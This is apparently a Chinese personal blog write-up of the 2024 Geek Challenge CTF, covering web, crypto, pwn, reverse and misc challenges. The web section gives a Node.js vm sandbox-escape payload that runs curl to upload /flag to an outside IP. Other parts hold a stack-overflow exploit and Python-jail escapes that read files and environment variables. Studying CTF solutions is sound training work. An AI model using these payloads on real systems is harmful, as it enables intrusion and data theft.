let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
if (code.match(pattern)) {
console.log('WAF detected malicious code');
res.status(403).send('WAF detected malicious code');
exit();
}
}


app.post('/execute', upload.none(), (req, res) => {
let code = req.body.code;
const token = req.cookies.token;

if (!token) {
return res.status(403).send('Missing execution code credentials.');
}
if (!jwt.verify(token, JWT_SECRET)) {
return res.status(403).send('Invalid token provided.');
}

console.log(`Received code for execution: ${code}`);

try {
waf(code,res);
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

let script = new vm.Script(code);
console.log('Executing code in sandbox context');
script.runInContext(context);

console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
res.json('Code executed successfully' );
} catch (err) {
console.error(`Error executing code: ${err.message}`);
res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
}
});

用模板字符串绕过关键字检测即可,模板字符串nodejs中 `` 等价于 引号 可以用来代替字符

比较特殊的是占位符 ${expression} 可以镶套变量 ${}

值得注意的式这里的sandbox环境初始值为 Object.create(null)

sand

本身对回显做了过滤 但是可以出网反弹shell 都是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13

throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl http://47.83.222.208:5566/ -T /flag`).toString();
}
})

还有一个好难,我不会(你好弱~,之后先把vm学了再说,web就先到这了。

crypto

凯撒加密

rot20解密

RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes, inverse

n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
e = 65537

phi_n = (p - 1) * (q - 1)

d = inverse(e, phi_n)

m = pow(c, d, n)

flag = long_to_bytes(m)
print(flag)

dp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes
import gmpy2

c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
e = 65537
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769

for i in range(1,e):
t = (dp * e - 1) % i
if t == 0:
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
d = gmpy2.invert(e,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))

共模攻击

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
import gmpy2
n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152

s,x,y = gmpy2.gcdext(e1,e2)
m = (pow(c1,x,n)*pow(c2,y,n))%n
print(long_to_bytes(m))

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from pwn import xor

f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2 = 10706859949950921239354880312196039515724907

enc = e2^f2^f1

target_prefix = b'SYC{'
first_bytes = long_to_bytes(enc)[:4] # 获取enc的前4个字节
key = xor(first_bytes, target_prefix) # 计算key

flag = xor(long_to_bytes(enc), key)

try:
flag_str = flag.decode()
print(f"Found key: {key.hex()}")
print(f"Flag: {flag_str}")
except:
print("Decryption failed")

nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import itertools
import hashlib
import string

io = remote('nc1.ctfplus.cn', 32204)

def proof(io):
io.recvuntil(b"XXXX+")
suffix = io.recv(16).decode("utf8")
io.recvuntil(b"== ")
cipher = io.recvline().strip().decode("utf8")
for i in itertools.product(string.ascii_letters + string.digits, repeat=4):
x = ''.join(i)
proof = hashlib.sha256((x + suffix).encode()).hexdigest()
if proof == cipher:
break
print(x)
io.sendline(x.encode())

proof(io)

line = io.recvuntil(b" WAAAAAAY!")
print(line.decode())
line = io.recvuntil(b"complex?")
print(line.decode())
line = io.recvuntil(b"D")
print(line.decode())
flag = ""

for i in range(1, 33):
io.sendline(str(i).encode())
response = io.recvline(timeout=2)
if response:
char = response.decode().strip()
last_char = char[-1] if char else ""
print(f"发送: {i}, 接收: {last_char}")
flag += last_char

print(f"完整的 flag: {flag}")

ncoCRT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
from sympy.ntheory.modular import solve_congruence

p = [
1921232050179818686537976490035,
2050175089402111328155892746480,
1960810970476421389691930930824,
1797713136323968089432024221276,
2326915607951286191807212748022
]
c = [
1259284928311091851012441581576,
1501691203352712190922548476321,
1660842626322200346728249202857,
657314037433265072289232145909,
2056630082529583499248887436721
]

# 使用中国剩余定理求解 m
congruences = [(c[i], p[i]) for i in range(5)]
m, _ = solve_congruence(*congruences)

# 恢复 flag
flag_long = m - 1 # 因为 m = bytes_to_long(flag + b'\x01' * 23)
flag = long_to_bytes(flag_long)

print(f"Recovered flag: {flag}")

pwn

简单的签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import re

p=remote('nc1.ctfplus.cn',13338)

line = p.recvuntil(b'!').decode()
line = p.recvuntil(b'.').decode()
line = p.recvuntil(b'.').decode()
p.sendline()
line = p.recvuntil(b'=').decode()
print(line)
match = re.search(r'(\d+\s*[\+\-\*/]\s*\d+)', line)
match = match.group(0)
print(match)
ans=eval(match)
print(ans)
p.sendline(str(ans))
p.interactive()

你会栈溢出吗

栈对齐

1
2
3
4
5
6
from pwn import *

p = remote('nc1.ctfplus.cn', 37147)
payload = b'A' * (0xc + 8) + p64(0x400729)
p.sendlineafter(b'name?', payload)
p.interactive()

Re

Hello_re

upx先在010调一下然后脱壳

2024-11-19220611

跟进ida有一段简单的混淆,上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <bits/stdc++.h>
#include <cstring>
int v4[34];
char v6[32];
int v7[34];
int main() {
v7[0] = 0;
v7[1] = 1;
v7[2] = 2;
v7[3] = 52;
v7[4] = 3;
v7[5] = 96;
v7[6] = 47;
v7[7] = 28;
v7[8] = 107;
v7[9] = 15;
v7[10] = 9;
v7[11] = 24;
v7[12] = 45;
v7[13] = 62;
v7[14] = 60;
v7[15] = 2;
v7[16] = 17;
v7[17] = 123;
v7[18] = 39;
v7[19] = 58;
v7[20] = 41;
v7[21] = 48;
v7[22] = 96;
v7[23] = 26;
v7[24] = 8;
v7[25] = 52;
v7[26] = 63;
v7[27] = 100;
v7[28] = 33;
v7[29] = 106;
v7[30] = 122;
v7[31] = 48;
__int64 v5 = 0x5245564F4C435953;
char str[8];
memcpy(str,&v5,8);
for (int j = 0; j <= 31; ++j) {
v4[j] = v7[j] ^ j ^ str[j%8];
}
for (int i = 0; i <= 31; ++i) {
v6[i] =(v4[i]);
}
printf("%s", v6);
return 0;
}

先来一道签到题

看不太明白,直接ai了

1
2
3
4
5
6
7
8
9
10
11
target_data = "TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x"
def decrypt(data):
result = []
for i in range(0, len(data), 2):
char1 = chr(ord(data[i]) ^ 7)
char2 = chr(ord(data[i+1]) + 5)
result.extend([char1, char2])
return ''.join(result)

plaintext = decrypt(target_data)
print("Decrypted string:", plaintext)

Misc

ez_jpg

先进行base64解密,分析一下解密得到的内容,将内容保存,然后转化一下

1
2
3
4
5
6
f = open('1.txt','rb')
a = f.read()
a = a[::-1]
new = open('new.txt','wb')
new.write(a)
print(a[::-1])

用010解开得到图片

找了一个脚本微调了一下800*640得到答案,脚本自己写

new

I_wanna_go_to_SYC

详情请看官p吧,不太想复现orz

Truth of Word

第一段内容讲文本复制粘贴到txt里,得到Flag01=SYC{W0rd_H@5

第二段仔细观察是docm文件结尾用olevba提取看看得到第二段

2024-11-20161454

第三段内容改为zip,可以找到图片

flag03

010末尾有base64编码,解码一下得到key解压文件,png提示是盲水印,工具解一下得到key

1

然后是解snow隐写,得到flag

2024-11-20165445

Welcome_jail

0x01

1
2
3
4
5
6
7
8
string = input("Enter a string: ")
a = ""
for i in range(len(string)):
if i != len(string) - 1:
a += "chr(" + str(ord(string[i])) + ")"+ "+"
else:
a += "chr(" + str(ord(string[i])) + ")"
print(f"print(().__class__.__base__.__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)]({a}).read())")

跑一下在env

0x02

官p的一种解法,记录一下

1
__builtins__.__loader__.load_module(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(42))
1
os.system("cat /home/ctf/*") 

hard_jail

0x01(非预期)

给black直接赋空就可以得到flag

1
__import__('os').system('env|grep SYC')

hard_jail

0x02(预期)

考察的是无括号的pyjail,在python中,调用一次.引用属性的时候,其实是进行了一次函数调用的

比如

1
water.orange=water.__getattribute__('orange')

此外还有一些内容

== 操作符触发 __eq__() 方法

> 操作符触发 __ge__() 方法,接下来是官p的解法

hard_jail1

1
2
help.__class__.__eq__ = exec  # 将 help 类的 __eq__ 方法替换为 exec
help.__class__.__getattribute__ = input # 将 help 类的 __getattribute__ 方法替换为 input

最后构造执行得到flag

2024 geek challenge!签到

扫一下码跟进

cimbar

参考链接用摄像头传输文件 —— Cimbar - 哔哩哔哩

cimbar

1
2
3
4
5
6
7
01010011	01011001	01000011	01111011
01000001 01101110 00110000 01110100
01101000 00110011 01110010 01011111
01000001 01101101 01000000 01111010
00110001 01101110 00111001 01011111
01010001 01010010 01011111 01000011
01101111 00110100 01100101 01111101
1
SYC{An0th3r_Am@z1n9_QR_Co4e}

乌龟

是sstv隐写,工具简单装一下

乌龟

接下来用deepsound进行解密,可以得到一个txt文本

1
to draw_s  pu setxy -400 200 pd repeat 18 [fd 5 lt 10 wait 2]  repeat 8 [fd 5 lt 10 wait 2]  repeat 21 [fd 5 rt 10 wait 2]  pu setxy -350 200 pd fd 50 wait 5  pu setxy -350 200 pd rt 100 fd 50 wait 5  pu setxy -350 200 pd rt 130 fd 75 wait 5  pu setxy -220 200 pd rt 130 repeat 27 [fd 8 lt 10 wait 2]  pu setxy -430 70 pd lt 130 fd 100 wait 5  pu setxy -480 70 pd lt 90 fd 100 wait 5  pu setxy -420 70 pd fd 100 lt 90 fd 50 lt 90 fd 100 wait 5  pu setxy -350 70 pd rt 90 fd 70 rt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -280 20 pd lt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -250 70 pd rt 180 fd 100 wait 5  pu setxy -200 70 pd rt 90 fd 100 wait 5  pu setxy -130 70 pd lt 130 fd 30 rt 130 fd 110 rt 90 fd 30 wait 5  pu setxy -130 -20 pd lt 180 fd 40 wait 5  pu setxy -70 70 pd fd 70 wait 5  pu setxy -70 70 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy -70 20 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy 20 -30 pd fd 70 wait 5  pu setxy 120 70 pd repeat 18 [fd 5 rt 10 wait 2]  pu setxy 120 70 pd lt 90 fd 100 wait 5  pu setxy 180 70 pd fd 50 lt 90 fd 50 wait 5  pu setxy 230 70 pd rt 90 fd 100 wait 5  pu setxy 260 70 pd lt 90 fd 50 wait 5  pu setxy 285 70 pd rt 90 fd 100 wait 5  pu setxy 260 -30 pd lt 90 fd 50 wait 5  pu setxy 340 70 pd rt 90 fd 100 wait 5  pu setxy 340 70 pd lt 30 fd 115 wait 5  pu setxy 398 -30 pd lt 150 fd 100 wait 5  pu setxy 420 70 pd rt 90 fd 100 wait 5  pu setxy 470 70 pd rt 90 fd 100 wait 5  pu setxy -520 -70 pd lt 90 fd 60 wait 5  pu setxy -490 -70 pd rt 90 fd 100 wait 5  pu setxy -520 -170 pd lt 90 fd 60 wait 5  pu setxy -420 -70 pd rt 90 fd 100 wait 5  pu setxy -420 -70 pd lt 30 fd 115 wait 5  pu setxy -362 -170 pd lt 150 fd 100 wait 5  pu setxy -270 -70 pd lt 90 repeat 27 [fd 8 lt 10 wait 2] lt 180 fd 40 wait 5  pu setxy -230 -120 pd rt 90 fd 30 wait 5 end clearscreen draw_s

保存下来打开里面的是logo编程,找个 在线网站就能解Logo解释器(头一次见)

2024-11-26234350

ez_pcap_1

直接SMB文件进行导出得到flag

1
SYC{smb_pcapng_1s_g00d!}

舔狗的觉醒

压缩包爆破2024-11-28230114

文件头是50 4b 03 04开头是压缩包的文件头,和这题很像,写个脚本互换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
with open('byte-revenge.txt', 'r') as file:  
data = file.read().split() # 按空格分隔每个字节

# 对调每个字节
result = ""
for i in data:
res = i[::-1] # 每个字节反转
result += res

# 将处理后的内容写回文件
with open('2.txt', 'w') as file:
file.write(result) # 将结果写入文件

得到的压缩包里面有pdf在线网址转成ppt

2024-11-28235203

doSomeMath

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os

white_List=["+","-","*","/","_","g","e","l","t","(",")",".",","]
flag=os.environ.get("GEEK_FLAG") if os.environ.get("GEEK_FLAG")!=None else "SYC{test}"
banner=''' _ ____ __ __ _ _
__| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__
/ _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\
| (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | |
\__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_|

'''
def waf(s):
if not s.isascii():
exit("Please input ascii")
for word in s:
if word not in white_List:
exit("hacker!!!!")
print(banner)
print("please do this math problem")
#9872
while True:
try:
result = input("99*100^60= ")
waf(result)

if 99 * 100 ^ 60 == eval(result):
print("Congradulation!!!!! Here is your reward: " + flag)
else:
print("not right")
except:
print("error")

代码的大致要求就是通过白名单的字符进行绕过进行计算得到要求算式的答案

其实可以联想到做web的时候碰到的linux特性数字自增,在python里true==1,所以尝试构造.

在 Python 中,__le__ 是一个魔法方法(magic method),用于实现小于等于 (<=) 操作符的行为。

官p给的是

1
().__le__(((),()))

实际就是比较两个空元组,答案为1

math

上面还有加减乘除,因此可以写个脚本构造

运算逻辑是先乘法后异或,答案是9872

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("nc1.ctfplus.cn",25794)

data = "().__le__(((),()))+" * 1680
data2 = "(().__le__(((),()))+().__le__(((),())))**(().__le__(((),()))+().__le__(((),())))**(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))+"+data

p.recvuntil(b"99*100^60=")
p.sendline(data2[:-1])
p.interactive()

data2是利用幂指数得到离目标数字最近的数字,再加上data得到答案

音乐大师

图片用steg看

音乐1

对图片进行foremost一下得到一个音频

由于LSB隐写是一种将秘密信息嵌入到载体数据(如图像或音 频)中的技术。它通过修改载体数据的最低有效位来隐藏信息。由于最低有效位的变化对载体数据的整 体影响很小,因此这种方法可以在不显著改变载体数据的情况下隐藏信息 对于wav音频是float32的样品数据,我们可以借助python的librosa库来分析下得到的音频的浮点样品数 据 由于此时我们得到两个音频数据,进一步分析下音频数据的区别(直接抄的官p的话)

1
2
3
4
5
6
7
import librosa
audiofile1 = 'secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')
audiofile2 = '00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')
print("data1:",data1[:200])
print("data2:",data2[:200])

音乐2

类似是这种数据,数据过小了,可以乘一下看看具体内容,简单的分析一下前面是不同的,后面是有相同的,脚本处理一下

1
2
3
4
5
6
7
8
9
10
11
import librosa
audiofile1 = 'secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')
audiofile2 = '00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')
# print("data1:",data1[:200])
# print("data1:",data2[:200])
res=[]
for i in range(0,148):
res.append(((data1[i]-data2[i])*10000000))
print(res)

分析下来的小数点没有什么影响,加个int处理一下就行,得到以下数据

1
[19, 19, 9, 39, 19, 19, 29, 19, 19, 9, 9, 39, 19, 39, 29, 39, 19, 39, 19, 39, 19, 29, 9, 19, 19, 39, 19, 29, 19, 19, 39, 39, 19, 9, 39, 9, 19, 19, 9, 39, 19, 9, 9, 29, 19, 19, 39, 39, 19, 29, 9, 29, 19, 39, 19, 19, 19, 39, 19, 9, 19, 19, 39, 39, 19, 19, 29, 19, 19, 29, 39, 39, 19, 39, 19, 19, 19, 19, 39, 39, 19, 29, 9, 39, 19, 29, 9, 19, 19, 29, 39, 29, 19, 19, 39, 39, 19, 29, 19, 39, 19, 29, 19, 19, 19, 39, 19, 9, 19, 19, 39, 39, 19, 9, 39, 19, 9, 39, 9, 39, 19, 19, 39, 39, 19, 9, 9, 39, 19, 29, 39, 39, 19, 29, 39, 9, 19, 29, 39, 9, 9, 29, 9, 19, 19, 39, 39, 19]

观察分析只有9,19,29,39这四种情况,由于只有4位数据可 以被替代,在进制中最可能的就是2进制,由于只有0和1两个数据,2进制数据若是两个组合,那么刚好 可能存在的就是00,01,11,10,按顺序排可能的情况就是

1
2
00,01,10,11
11,10,01,00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import librosa
audiofile1 = 'secret.wav'
data1, sr1 = librosa.load(audiofile1, sr=None, dtype='float32')
audiofile2 = '00000758.wav'
data2, sr2 = librosa.load(audiofile2, sr=None, dtype='float32')
# print("data1:",data1[:200])
# print("data1:",data2[:200])
res=[]
for i in range(0,148):
res.append(int(((data1[i]-data2[i])*10000000)))

key_int ={9:'00',19:'01',29:'10',39:'11'}#修改这里
res_binary = []
for i in res:
if i in key_int:
res_binary.append(key_int[i])
else:
res_binary.append(None)
print(res_binary)

binary_flag = ''
for i in res_binary:
binary_flag+=i
print(binary_flag)

得到了

1
01010011010110010100001101111011011101110110000101110110010111110100110001010011010000100101111101100010011101010111010001011111010110010110111101110101010111110110001101100001011011100101111101100111011001010111010001011111010011010011001101011111010000110110111101101100011011000010000101111101

音乐3


极客大挑战2024复现
https://0ran9ewww.github.io/2024/11/26/极客大挑战/2024/
作者
orange
发布于
2024年11月26日
更新于
2025年1月9日
许可协议